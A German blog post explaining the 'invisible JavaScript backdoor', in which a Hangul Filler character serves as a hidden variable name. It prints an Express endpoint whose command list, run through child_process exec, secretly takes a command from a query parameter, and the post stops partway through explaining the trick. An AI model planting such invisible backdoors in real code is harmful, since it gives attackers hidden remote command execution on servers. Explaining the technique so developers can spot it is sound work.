Vor einigen Wochen wurde die Log4J Vulnerability entdeckt und die Sache ist in der IT Welt enorm eskaliert. Auch in meiner YouTube Recommendation Page kamen öfters Videos zu diesem Thema. Dabei habe ich aber ein interessantes Video gefunden, die ein Problem erklärt, was unter Reddit in r/programminghorror gepostet wurde. In diesem Problem geht es um ein Syntax Fehler, den der Programmierer nicht finden konnte. Erst nach langem Recherche wurde er fündig: Das Problem war ein unsichtbarer Unicode Character, der sich im JavaScript Code versteckt hat. Unter den Kommentaren des Reddit Post referenzierte ein User ein Backdoor, der durch diesen unsichtbaren Unicode Character möglich ist: “The Invisible JavaScript Backdoor“.
Was ist ein Backdoor?
Eine Backdoor ist ein Malware-Typ, der die normalen Authentifizierungsverfahren für den Zugriff auf ein System umgeht. Dabei wird Remote Access auf Ressourcen innerhalb einer Anwendung gewährt, z. B. auf Datenbanken und Dateiserver, was den Hackern die Möglichkeit gibt, aus der Ferne Systembefehle zu erteilen und Malware zu aktualisieren. Die Backdoor-Installation erfolgt durch die Ausnutzung anfälliger Komponenten in einer Webanwendung. Nach der Installation ist die Detection der Malware schwierig, da die Dateien in der Regel versteckt sind.
Webserver-Backdoors werden für folgende böswillige Aktivitäten genutzt:
- Datendiebstahl
- Verunstaltung von Websites
- Server-Hijacking
- Starten von DDoS-Angriffen (Distributed Denial of Service)
- Infizierung von Website-Besuchern (Watering-Hole-Angriffe)
- Advanced Persistent Threat (APT)
Was ist ein Unicode Character?
Unicode ist ein Zeichencode, der jedes Zeichen in den meisten gesprochenen Sprachen der Welt definiert. Unicode Zeichen können ein Byte oder bis zu vier Bytes verwenden, um einen Unicode “code point” zu speichern. Der code point ist eine eindeutige Nummer für ein Zeichen oder ein Symbol wie z. B. ein Akzentzeichen oder eine Ligatur. Unicode unterstützt mehr als eine Million code points, die mit einem „U“ geschrieben werden. Nach dem “U” kommt ein Pluszeichen und der Zahl in Hexadezimalzeichen; zum Beispiel wird das Wort „Hallo“ mit U+0048 U+0065 U+006C U+006C U+006F geschrieben.
Was hat das mit der JS Backdoor zutun?
Schauen wir uns dazu ein Abschnitt JS Code an.
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
Mit diesem Skript wird eine einfache HTTP-Endpoint implementiert. Sie dient zur Überprüfung des Netzwerkszustand, führt die Commands “ping -c 1 google.com” und “curl -s http://example.com/” aus und gibt zurück, ob diese Commands erfolgreich ausgeführt wurden. Dazu gibt es noch einen optionalen HTTP-Parameter “timeout”, der die Dauer der Befehlsausführung begrenzt.
Auf dem ersten Blick merkt man auch nichts falsches an diesem Code, da es sehr harmlos aussieht. Wenn man jedoch genau jede Zeile, oder die Zeilen ab der HTTP Endpoint, analysiert, merkt man etwas sehr komisches, was in der Programmierung gar nicht erlaubt sein sollte, da sonst ein Syntaxfehler gemeldet wird. Und zwar sieht man bei Zeile 8 und 9, dass nach den Parameter noch ein Komma hinzugefügt wurde, jedoch ist nach dem Komma kein weiterer Parameter zu sehen. Hier kommt der unsichtbarer Unicode Character ins Spiel.
Damit dieses Code funktioniert, muss ein unsichtbares Unicode Character gefunden werden, das in JavaScript als eine Variable interpretiert werden kann. Ab ECMAScript Version 2015 können alle Unicode Zeichen mit der Unicode Eigenschaft “ID_Start” in Variablen verwendet werden. Somit muss man nun ein unsichtbaren Unicode Zeichen finden, der die Eigenschaft “ID_Start” hat: Hier kommt das Zeichen “ㅤ” (0x3164 in HEX) ins Spiel. Dieses Zeichen wird als “HANGUL FILLER” bezeichnet und man kann es ganz einfach unter hier kopieren. Das spezielle an dem ist, dass es unter der Kategorie “[Lo] Letter, Other” gehört und somit die “ID_Start” Eigenschaft hat. Aus diesem Grund kann es in JavaScript als Variable verwendet werden.
Schauen wir uns jetzt nochmal die Zeile 8 an, mit der Information, dass eine unsichtbare Unicode Character benutzt wird:
const { timeout,\u3164} = req.query;
Die geschweiften Klammern dienen als Deconstructor da, um die HTTP Parameter aus “req.query” zu bekommen. Normalerweise denkt man nun, dass nur der “timeout” Parameter entnommen wird, doch wie man sieht, versteckt sich der unsichtbarer Unicode Character direkt nach dem “timeout“ Variable.